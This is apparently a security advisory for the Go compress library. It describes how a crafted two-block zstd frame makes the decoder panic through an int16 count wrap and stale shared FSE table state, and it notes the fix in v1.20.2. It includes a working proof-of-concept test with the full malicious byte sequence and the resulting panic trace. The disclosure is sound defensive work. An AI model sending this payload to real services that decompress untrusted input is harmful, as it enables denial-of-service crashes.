compress zstd: Panic on two-block frames

Summary

A crafted ~27 KB two-block zstd frame makes DecodeAll and the streaming decoder panic with an out-of-range slice index instead of returning a decode error. The same bytes decode fine with the reference zstd. Any program that decompresses untrusted zstd input can be crashed by it. Reproduced on v1.20.0 and v1.20.1.

Released in https://github.com/klauspost/compress/releases/tag/v1.20.2

Details

The panic is in the FSE decoder that huff0.ReadTable uses to read a block's Huffman-weight table. Three conditions have to hold at once, and the crafted frame arranges all three.

1. A count that doesn't fit is accepted. readNCount permits a tableLog up to 15 (tablelogAbsoluteMax, checked at fse/decompress.go:54), so a symbol's normalized count can reach 32768 (2^15). The count is stored in an int16 at fse/decompress.go:126, where 32768 wraps to −32768. The validation only looks at the int32 running totals (remaining and gotTotal), which still match, so the bad value passes. The crafted second block produces norm = [0, -32768], symbolLen = 2.

2. The decode table is built empty, with no error. In buildDtable, −32768 isn't the −1 that flags a low-probability symbol, so it skips that branch, and the spread loop for i := 0; i < int(v); i++ runs zero times for a negative v. position never advances, so the position != 0 guard passes as well.

3. Stale state from the previous block is reused. huff0 shares one fse.Scratch across both blocks, and allocDtable reuses decTable and ct.stateTable without clearing them. So the table is rebuilt on top of block 1's symbols and symbolNext values. Many cells end up with nbBits == 0, because the leftover nextState is ≥ 32768.

At decode time, every symbol's count is below largeLimit, so zeroBits stays false and decompress takes the nextFast path. On a cell with nbBits == 0, getBitsFast(0) shifts by (64-0)&63 == 0 and returns the low 16 bits of the whole register instead of 0. The state runs past the end of the table, and d.dt[d.state] panics:

panic: runtime error: index out of range [33077] with length 32768

Both blocks are needed. With a fresh Scratch, every cell would be symbol 0 with symbolNext 0, highBits(0) would underflow, newState would reach 32768, and the newState >= tableSize guard would return an error. Block 1's leftover state is what carries the malformed table past that guard.

The underlying bug is the int16 storage combined with a tableLog allowed to reach 15. The C reference uses short too, but caps the FSE tableLog at 12 and the Huffman-weight tableLog at 6, so the count never wraps. huff0.ReadTable doesn't enforce that 6-bit bound.

A fix: reject a count of 1<<15 (or nbBits > 14) in readNCount, and enforce the weight-table tableLog in huff0. Clearing the reused table would also turn the panic into an error.

Proof of concept

Run the following repro:

package compression

import (
	"bytes"
	"slices"
	"testing"

	"github.com/klauspost/compress/zstd"
	"github.com/stretchr/testify/require"
)

func TestDecodeAll(t *testing.T) {
	// zstdFSEPanic is a crafted two-block zstd frame that makes
	// github.com/klauspost/compress (v1.20.0 and v1.20.1) panic with an
	// out-of-range index in fse.nextFast rather than returning an error. Cross-block
	// FSE table-state carryover lets the second block's malformed Huffman-weight
	// table pass the decoder's guard and overflow the decode table.
	zstdFSEPanic := slices.Concat(
		[]byte{0x28, 0xb5, 0x2f, 0xfd, 0x00, 0x38, 0x74, 0x06, 0x00, 0x42, 0xb8, 0x32, 0x0d, 0x1a, 0x00, 0x00, 0x00, 0x90, 0xaf, 0xfa, 0xff, 0x03, 0x00, 0x80, 0xff, 0x7f},
		bytes.Repeat([]byte{0xa5, 0x94, 0x52, 0x4a, 0x29}, 37),
		[]byte{0xa5, 0x94, 0x12, 0x00, 0xad, 0x56, 0x03, 0xee, 0xff, 0xdf, 0xb3, 0x1a, 0x1c, 0x1a, 0x00, 0xe0, 0xff, 0x1f, 0x0f, 0xb1, 0x9c, 0x5a, 0xcf, 0x4d, 0xe4, 0x1d, 0x7b, 0xab, 0x99, 0x5e, 0x01, 0x51, 0xa4, 0x73, 0xd8, 0xb1, 0xf3, 0x39, 0x4b, 0x67, 0xf6, 0xab, 0x1a, 0xab, 0x1a, 0xab, 0x1a},
		bytes.Repeat([]byte{0x8c, 0x31, 0xc6, 0x18, 0x63}, 1365),
		[]byte{0x8c, 0x31},
		bytes.Repeat([]byte{0x63, 0x8c, 0x31, 0xc6, 0x18}, 1365),
		[]byte{0x63, 0x2c},
		bytes.Repeat([]byte{0x31, 0xc6, 0x18, 0x63, 0x8c}, 1365),
		[]byte{0x31, 0x46},
		bytes.Repeat([]byte{0x31, 0xc6, 0x18, 0x63, 0x8c}, 1365),
		[]byte{0x31, 0x06, 0x00},
	)

	decoder, err := zstd.NewReader(nil)
	require.NoError(t, err)

	dst := make([]byte, 100*1024)
	_, err = decoder.DecodeAll(zstdFSEPanic, dst)
	require.NoError(t, err)
}

Outputs:

panic: runtime error: index out of range [33077] with length 32768 [recovered, repanicked]

goroutine 36 [running]:
testing.tRunner.func1.2({0x100c2b7c0, 0x2472599b62a0})
	/Users/joshua.kim/golang/pkg/mod/golang.org/[email protected]/src/testing/testing.go:1974 +0x1a0
testing.tRunner.func1()
	/Users/joshua.kim/golang/pkg/mod/golang.org/[email protected]/src/testing/testing.go:1977 +0x318
panic({0x100c2b7c0?, 0x2472599b62a0?})
	/Users/joshua.kim/golang/pkg/mod/golang.org/[email protected]/src/runtime/panic.go:860 +0x12c
github.com/klauspost/compress/fse.(*decoder).nextFast(...)
	/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/[email protected]/fse/decompress.go:372
github.com/klauspost/compress/fse.(*Scratch).decompress(0x247259981008)
	/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/[email protected]/fse/decompress.go:280 +0xa08
github.com/klauspost/compress/fse.Decompress({0x247259ab60e0?, 0x0?, 0x0?}, 0x1007c839c?)
	/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/[email protected]/fse/decompress.go:33 +0x64
github.com/klauspost/compress/huff0.ReadTable({0x247259ab60df, 0x6acf, 0x6f21}, 0x1007899f8?)
	/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/[email protected]/huff0/decompress.go:61 +0x130
github.com/klauspost/compress/zstd.(*blockDec).decodeLiterals(0x247259aa42d0, {0x247259ab60da?, 0x19384?, 0x20000?}, 0x247259a9a958)
	/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/[email protected]/zstd/blockdec.go:446 +0x550
github.com/klauspost/compress/zstd.(*blockDec).decodeCompressed(0x247259aa42d0, 0x247259a9a958)
	/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/[email protected]/zstd/blockdec.go:480 +0x34
github.com/klauspost/compress/zstd.(*blockDec).decodeBuf(0x247259aa42d0, 0x247259a9a958)
	/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/[email protected]/zstd/blockdec.go:256 +0x20c
github.com/klauspost/compress/zstd.(*frameDec).runDecoder(0x247259a9a908, {0x247259ac6000?, 0x19000, 0x129ca3800?}, 0x247259aa42d0)
	/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/[email protected]/zstd/framedec.go:371 +0x170
github.com/klauspost/compress/zstd.(*Decoder).DecodeAll(0x247259aa41e0, {0x247259ab6000, 0x6baf, 0x7000}, {0x247259ac6000, 0x19000, 0x19000})
	/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/[email protected]/zstd/decoder.go:395 +0x410
github.com/ava-labs/avalanchego/utils/compression.TestDecodeAll(0x247259a9a6c8)
	/Users/joshua.kim/workspace/avalanchego/utils/compression/zstd_fse_panic_test.go:40 +0x498
testing.tRunner(0x247259a9a6c8, 0x100c4ae80)
	/Users/joshua.kim/golang/pkg/mod/golang.org/[email protected]/src/testing/testing.go:2036 +0xc4
created by testing.(*T).Run in goroutine 1
	/Users/joshua.kim/golang/pkg/mod/golang.org/[email protected]/src/testing/testing.go:2101 +0x3a8

Impact

This is a panic that callers cannot guard against with error handling. This should be a DOS for most users.